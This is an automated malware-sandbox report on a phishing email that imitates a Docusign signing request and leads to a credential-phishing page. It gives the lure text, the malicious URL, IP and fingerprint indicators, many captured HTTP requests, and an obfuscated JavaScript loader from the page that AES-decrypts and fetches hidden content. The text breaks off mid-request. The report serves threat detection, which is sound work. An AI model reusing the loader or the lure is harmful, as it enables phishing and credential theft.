Windows Analysis Report
FW Complete with Docusign Remittance Advice .pdf.eml

Overview

General Information

Sample name: FW Complete with Docusign Remittance Advice .pdf.eml
Analysis ID: 1544787
MD5: dc34a3c1973f12dade5f299f93b62106
SHA1: b091c4899cea2ef9e68a07549d55146d82509f15
SHA256: 14b797c738565070487e010d986b2d8767cb60cf57d0fc47bc9efdaeaf649c1b
Infos:

Detection

HTMLPhisher
Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected HtmlPhish70
AI detected potential phishing Email
Phishing site detected (based on shot match)
Suspicious MSG / EML detected (based on various text indicators)
HTML body contains low number of good links
HTML page contains hidden javascript code
HTML title does not match URL
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Phishing
barindex
Yara detected HtmlPhish70
Source: Yara match File source: 2.7.pages.csv, type: HTML
Phishing site detected (based on shot match)
Source: https://cosiosos.com.de/7i2ko/ Matcher: Template: captcha matched
Suspicious MSG / EML detected (based on various text indicators)
Source: MSG / EML OCR Text: docusign Keitner Haydon sent you a document to review and sign. REVIEW DOCUMENT Keitner Haydon hkeitner@nixcnpeabody.com mknott@phoenixcrane.com, Complete with Docusign: Remittance Advice .pdf Thank You, Keitner Haydon Do Not Share This Email This email contains a secure link to Docusign. Please do not share this email, link, or access code with others. Alternate Signing Method Visit Docusign.com, click 'Access Documents', and enter the security code: 9EB1232DB66947CCB565DF3C91 F4D5F74 About Docusign Sign documents electronically in just minutes. It's safe, secure, and legally binding. Whether you're in an office, at home, on-the-go -- or even across the globe -- Docusign provides a professional trusted solution for Digital Transaction Management TM Questions about the Document? If you need to modify the document or have questions about the details in the document, please reach out to the sender by emailing them directly. Stop receiving this email Report this email or read more about Declining to sign and Managing notifications. If you have trouble signing, visit "How to Sign a Document" on our Docusign Support Center, or browse our Docusign Community for more information. Download the Docusign App This message was sent to you by Keitner Haydon who is using the Docusign Electronic Signature Service. If you would rather not receive email from this sender you may contact the sender with your request.
HTML body contains low number of good links
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Number of links: 0
HTML page contains hidden javascript code
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Base64 decoded: {"a":"A3KVglQ3qTtA\/QD0GP0e4F6I3\/qfFmpclAotssmi7LQ=","c":"2e2961b74d04e46119603ea02e65b13a","b":"0c719901e6775460a9456a9df3bb57a86771c97f38249875105b084bbf064bedf213c23cd16a41c477197fa97e5a1126a4bb3b7bbdd8dc2b704a13c76145cc99790e78c5c00ee5af47a45794336c4...
HTML title does not match URL
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Title: Custom Creations Car Society - flifeserieso.ru does not match URL
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: asyncfunction cacophony(cabdriver) {var {a,b,c,d} = json.parse(cabdriver); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d),cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8,iterations: 999}),{iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async()=> {document.write(await cacophony(await (await fetch(awaitcacophony(atob(`eyjhijoiqtnlvmdsutnxvhrbxc9rrdbhudblney2stncl3fmrm1wy2xbb3rzc21pn0xrpsisimmioiiyzti5njfinzrkmdrlndyxmtk2mdnlytayzty1yjezysisimiioiiwyzcxotkwmwu2nzc1ndywytk0ntzhowrmm2jintdhody3nzfjotdmmzgyndk4nzuxmdvimdg0ymjmmdy0ymvkzjixm2mym2nkmtzhndfjndc3mtk3zme5n2u1ytexmjzhngjim2i3ymjkzdhkyzjinza0ytezyzc2mtq1y2m5otc5mgu3ogm1yzawzwu1ywy0n2e0ntc5ndmznmm0ogu5zwjkotnkzwzlmje2nzvizdg3ztkymwzlntkxyzixyjhmnmu3njk1zmi1nzi1ndk3y2rjmdlknjq2ytrkm2e3mjdlntvkn2eyzjcyy2y4n2jimzi0n2e1mzc2zgqzngzmyjuxmzbizta1nmjjndewmtjhywy3ody3oguwotaxnjjkztrhn2mxzda4ytjizdhmyjlhnwuymdqzmdi3mdcxyta4odjizdkxymzhngnmnwu5ytc...
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No <meta name="author".. found
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No <meta name="copyright".. found
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49826 version: TLS 1.2
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View IP Address: 104.18.65.57 104.18.65.57
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Nml3ll1nFVeUPX2&MD=cANLcvmX HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://eu.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ds_a=cd6c8418-b7c8-4e41-b700-1d78e22b3590
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIiRzY3JlZW5faGVpZ2h0IjogMTAyNCwiJHNjcmVlbl93aWR0aCI6IDEyODAsIm1wX2xpYiI6ICJ3ZWIiLCJkaXN0aW5jdF9pZCI6ICIxOTJkOTYxYzEwNzY5NS0wOWFjYjQ3NGRiYWEzZi0yNjAzMWU1MS0xNDAwMDAtMTkyZDk2MWMxMDg2ZDciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIm1wX3BhZ2UiOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfYnJvd3NlciI6ICJDaHJvbWUiLCJtcF9wbGF0Zm9ybSI6ICJXaW5kb3dzIiwidG9rZW4iOiAiMzA0Y2NiZGUyNGQzYjE1ZmZlMmQ1ZGUzMGMxMGRhYjIifX0%3D&ip=1&_=1730223915277 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://eu.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eu.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIiRzY3JlZW5faGVpZ2h0IjogMTAyNCwiJHNjcmVlbl93aWR0aCI6IDEyODAsIm1wX2xpYiI6ICJ3ZWIiLCJkaXN0aW5jdF9pZCI6ICIxOTJkOTYxYzEwYTQ0Mi0wNGYyZjVjYTQ1YjliLTI2MDMxZTUxLTE0MDAwMC0xOTJkOTYxYzEwYjU5NiIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJldS5kb2N1c2lnbi5uZXQiLCJtcF9yZWZlcnJlciI6ICJldS5kb2N1c2lnbi5uZXQiLCJtcF9icm93c2VyIjogIkNocm9tZSIsIm1wX3BsYXRmb3JtIjogIldpbmRvd3MiLCJ0b2tlbiI6ICI2MjQ0YmI5ZTMxZGY2ZDhkY2Y4YzQxMzVkZWZlNjQ2MCJ9fQ%3D%3D&ip=1&_=1730223915278 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://eu.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eu.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIiRzY3JlZW5faGVpZ2h0IjogMTAyNCwiJHNjcmVlbl93aWR0aCI6IDEyODAsIm1wX2xpYiI6ICJ3ZWIiLCJkaXN0aW5jdF9pZCI6ICIxOTJkOTYxYzEwNzY5NS0wOWFjYjQ3NGRiYWEzZi0yNjAzMWU1MS0xNDAwMDAtMTkyZDk2MWMxMDg2ZDciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIm1wX3BhZ2UiOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfYnJvd3NlciI6ICJDaHJvbWUiLCJtcF9wbGF0Zm9ybSI6ICJXaW5kb3dzIiwidG9rZW4iOiAiMzA0Y2NiZGUyNGQzYjE1ZmZlMmQ1ZGUzMGMxMGRhYjIifX0%3D&ip=1&_=1730223915277 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogImV1LmRvY3VzaWduLm5ldCIsIiRzY3JlZW5faGVpZ2h0IjogMTAyNCwiJHNjcmVlbl93aWR0aCI6IDEyODAsIm1wX2xpYiI6ICJ3ZWIiLCJkaXN0aW5jdF9pZCI6ICIxOTJkOTYxYzEwYTQ0Mi0wNGYyZjVjYTQ1YjliLTI2MDMxZTUxLTE0MDAwMC0xOTJkOTYxYzEwYjU5NiIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAiZXUuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJldS5kb2N1c2lnbi5uZXQiLCJtcF9yZWZlcnJlciI6ICJldS5kb2N1c2lnbi5uZXQiLCJtcF9icm93c2VyIjogIkNocm9tZSIsIm1wX3BsYXRmb3JtIjogIldpbmRvd3MiLCJ0b2tlbiI6ICI2MjQ0YmI5ZTMxZGY2ZDhkY2Y4YzQxMzVkZWZlNjQ2MCJ9fQ%3D%3D&ip=1&_=1730223915278 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://eu.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eu.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Nml3ll1nFVeUPX2&MD=cANLcvmX HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJldS5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiYjE0NDZmZjMyN2YyNTNjN2YyNWQ3MjNkZjM4MTNiYjBkYzZlNzVkNiIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAiZXUuZG9jdXNpZ24ubmV0IiwiUG9zdCBTaWduaW5nIERpYWxvZyI6ICJTYXZlIEEgQ29weSIsIkVudmVsb3BlIElEIjogIjc4NDJkOGRiNTE1ZThlYTliYmVmNGZhMTBhYWU2NWUzMWE5ODIwMjAiLCJSZWNpcGllbnQgSUQiOiAiOWE5NTk2Y2NjMWU1YmE3Y2M1MmMyYjk2MTFhZGYxNGM0YmEwZWE4OCIsIlNpZ25lciBJRCI6ICJiMTQ0NmZmMzI3ZjI1M2M3ZjI1ZDcyM2RmMzgxM2JiMGRjNmU3NWQ2IiwiQnJvd3NlciBWZXJzaW9uIjogIkNocm9tZSAxMzAuMCIsIkZpZWxkcyBSZWNpcGllbnQiOiAiMCIsIkZpZWxkcyBFbnZlbG9wZSI6ICIxIiwiUmVxdWlyZWQgRmllbGRzIjogIjAiLCJMYW5ndWFnZSI6ICJlbiIsIlNpZ25pbmcgQWNjZXNzIjogIlJlbW90ZSIsIkF1dG9OYXYgUnVsZXMiOiAiRmllbGRzUmVxdWlyZWQiLCJSZWNpcGllbnRzIjogIjUwIiwiUmVjaXBpZW50IFR5cGUiOiAiU2lnbmVyIiwiUmVjaXBpZW50cyBXb3JrZmxvdyI6ICI1MCIsIlNlbmRlciBBY2NvdW50IElEIjogIjUyZTkwNDkwNGMwZTkzOWM3N2U3OGRkZDRjYmQ5ZTBkYmU4NDFmODMiLCJBY2NvdW50IElEIjogIjE5YjUyNjMyOTRjNmMzN2RiNjc4YzlhYTRmYmYwMGQzODM0ZjRiMWIiLCJCcmFuZGVkIjogZmFsc2UsIkJyYW5kZWQgTG9nbyI6IGZhbHNlLCJCcmFuZGVkIENvbG9yIjogZmFsc2UsIkJyYW5kZWQgRmlsZSI6IGZhbHNlLCJDb25jYXQgTW9kZSI6IGZhbHNlLCJBdHRhY2htZW50IEFkZGVkIjogZmFsc2UsIkF0dGFjaG1lbnQgQ291bnQiOiAwLCJBdHRhY2htZW50IE1ldGhvZCI6IG51bGwsIlBhZ2VzIjogIjEiLCJEb2NzIjogIjEiLCJBdXRoZW50aWNhdGlvbiI6ICJOb25lIiwiTG9nZ2VkIEluIjogZmFsc2UsIkNvbnNlbnQgU2hvd24iOiB0cnVlLCJBY2NvdW50IEhvbGRlciI6IGZhbHNlLCJGaWVsZCBTaWduYXR1cmUiOiBmYWxzZSwiRmllbGQgSW5pdGlhbCI6IGZhbHNlLCJGaWVsZCBTdGFtcCI6IGZhbHNlLCJGaWVsZCBEYXRlIjogZmFsc2UsIkZpZWxkIFRleHQiOiBmYWxzZSwiRmllbGQgTmFtZSI6IGZhbHNlLCJGaWVsZCBDb21wYW55IjogZmFsc2UsIkZpZWxkIFRpdGxlIjogZmFsc2UsIkZpZWxkIEVtYWlsIjogZmFsc2UsIkZpZWxkIENoZWNrYm94IjogZmFsc2UsIkZpZWxkIFJhZGlvIjogZmFsc2UsIkZpZWxkIERyb3Bkb3duIjogZmFsc2UsIkZpZWxkIEF0dGFjaG1lbnQiOiBmYWxzZSwiRmllbGQgTm90ZSI6IGZhbHNlLCJGaWVsZCBBcHByb3ZlIjogZmFsc2UsIkZpZWxkIERlY2xpbmUiOiBmYWxzZSwiRmllbGQgVmlldyI6IGZhbHNlLCJGaWVsZCBGb3JtdWxhIjogZmFsc2UsIlRlbXBsYXRlIFVzZWQiOiBmYWxzZSwiU3VwcGxlbWVudGFsIERvY3VtZW50IENvdW50IjogMCwiU3VwcGxlbWVudGFsIERvY3VtZW50IFJlcXVpcmVtZW50cyI6ICIiLCJBdXRvQ29tcGxldGUgRW5hYmxlZCI6IGZhbHNlLCJwcm9kdWN0IGFyZWEiOiAiU2lnbmluZyIsIkZyZWVmb3JtIjogZmFsc2UsIlNpZ25pbmdFeHRlbnNpb25zIjogdHJ1ZSwiQnJvd3NlciBXaWR0aCBJbml0aWFsIjogMTI4MCwiQnJvd3NlciBIZWlnaHQgSW5pdGlhbCI6IDkwNywiQnJvd3NlciBXaWR0aCI6IDEyODAsIkJyb3dzZXIgSGVpZ2h0IjogOTA3LCJTZXNzaW9uIEFib3V0IHRvIEV4cGlyZSBDb3VudCI6IDAsIlRvcCBGaW5pc2ggSGlkZGVuIjogZmFsc2UsIlBvd2VyRm9ybSI6IGZhbHNlLCJBL0IgVGVzdHMiOiAiaWZyYW1lbGVzczogbW9iaWxlIiwiUG93ZXJmb3JtIFNlbmRlciI6IGZhbHNlLCJQbGF0Zm9ybSI6ICJXZWIgQXBwIiwiRFNfQSI6ICJjZDZjODQxOC1iN2M4LTRlNDEtYjcwMC0xZDc4ZTIyYjM1OTAiLCJ0b2tlbiI6ICIzMDRjY2JkZTI0ZDNiMTVmZmUyZDVkZTMwYzEwZGFiMiJ9fQ%3D%3D&ip=1&_=1730223972817 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium"
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJldS5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiYjE0NDZmZjMyN2YyNTNjN2YyNWQ3MjNkZjM4MTNiYjBkYzZlNzVkNiIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAiZXUuZG9jdXNpZ24ubmV0IiwiUG9zdCBTaWduaW5nIERpYWxvZyI6ICJTYXZlIEEgQ29weSIsIkVudmVsb3BlIElEIjogIjc4NDJkOGRiNTE1ZThlYTliYmVmNGZhMTBhYWU2NWUzMWE5ODIwMjAiLCJSZWNpcGllbnQgSUQiOiAiOWE5NTk2Y2NjMWU1YmE3Y2M1MmMyYjk2MTFhZGYxNGM0YmEwZWE4OCIsIlNpZ25lciBJRCI6ICJiMTQ0NmZmMzI3ZjI1M2M3ZjI1ZDcyM2RmMzgxM2JiMGRjNmU3NWQ2IiwiQnJvd3NlciBWZXJzaW9uIjogIkNocm9tZSAxMzAuMCIsIkZpZWxkcyBSZWNpcGllbnQiOiAiMCIsIkZpZWxkcyBFbnZlbG9wZSI6ICIxIiwiUmVxdWlyZWQgRmllbGRzIjogIjAiLCJMYW5ndWFnZSI6ICJlbiIsIlNpZ25pbmcgQWNjZXNzIjogIlJlbW90ZSIsIkF1dG9OYXYgUnVsZXMiOiAiRmllbGRzUmVxdWlyZWQiLCJSZWNpcGllbnRzIjogIjUwIiwiUmVjaXBpZW50IFR5cGUiOiAiU2lnbmVyIiwiUmVjaXBpZW50cyBXb3JrZmxvdyI6ICI1MCIsIlNlbmRlciBBY2NvdW50IElEIjogIjUyZTkwNDkwNGMwZTkzOWM3N2U3OGRkZDRjYmQ5ZTBkYmU4NDFmODMiLCJBY2NvdW50IElEIjogIjE5YjUyNjMyOTRjNmMzN2RiNjc4YzlhYTRmYmYwMGQzODM0ZjRiMWIiLCJCcmFuZGVkIjogZmFsc2UsIkJyYW5kZWQgTG9nbyI6IGZhbHNlLCJCcmFuZGVkIENvbG9yIjogZmFsc2UsIkJyYW5kZWQgRmlsZSI6IGZhbHNlLCJDb25jYXQgTW9kZSI6IGZhbHNlLCJBdHRhY2htZW50IEFkZGVkIjogZmFsc2UsIkF0dGFjaG1lbnQgQ291bnQiOiAwLCJBdHRhY2htZW50IE1ldGhvZCI6IG51bGwsIlBhZ2VzIjogIjEiLCJEb2NzIjogIjEiLCJBdXRoZW50aWNhdGlvbiI6ICJOb25lIiwiTG9nZ2VkIEluIjogZmFsc2UsIkNvbnNlbnQgU2hvd24iOiB0cnVlLCJBY2NvdW50IEhvbGRlciI6IGZhbHNlLCJGaWVsZCBTaWduYXR1cmUiOiBmYWxzZSwiRmllbGQgSW5pdGlhbCI6IGZhbHNlLCJGaWVsZCBTdGFtcCI6IGZhbHNlLCJGaWVsZCBEYXRlIjogZmFsc2UsIkZpZWxkIFRleHQiOiBmYWxzZSwiRmllbGQgTmFtZSI6IGZhbHNlLCJGaWVsZCBDb21wYW55IjogZmFsc2UsIkZpZWxkIFRpdGxlIjogZmFsc2UsIkZpZWxkIEVtYWlsIjogZmFsc2UsIkZpZWxkIENoZWNrYm94IjogZmFsc2UsIkZpZWxkIFJhZGlvIjogZmFsc2UsIkZpZWxkIERyb3Bkb3duIjogZmFsc2UsIkZpZWxkIEF0dGFjaG1lbnQiOiBmYWxzZSwiRmllbGQgTm90ZSI6IGZhbHNlLCJGaWVsZCBBcHByb3ZlIjogZmFsc2UsIkZpZWxkIERlY2xpbmUiOiBmYWxzZSwiRmllbGQgVmlldyI6IGZhbHNlLCJGaWVsZCBGb3JtdWxhIjogZmFsc2UsIlRlbXBsYXRlIFVzZWQiOiBmYWxzZSwiU3VwcGxlbWVudGFsIERvY3VtZW50IENvdW50IjogMCwiU3VwcGxlbWVudGFsIERvY3VtZW50IFJlcXVpcmVtZW50cyI6ICIiLCJBdXRvQ29tcGxldGUgRW5hYmxlZCI6IGZhbHNlLCJwcm9kdWN0IGFyZWEiOiAiU2lnbmluZyIsIkZyZWVmb3JtIjogZmFsc2UsIlNpZ25pbmdFeHRlbnNpb25zIjogdHJ1ZSwiQnJvd3NlciBXaWR0aCBJbml0aWFsIjogMTI4MCwiQnJvd3NlciBIZWlnaHQgSW5pdGlhbCI6IDkwNywiQnJvd3NlciBXaWR0aCI6IDEyODAsIkJyb3dzZXIgSGVpZ2h0IjogOTA3LCJTZXNzaW9uIEFib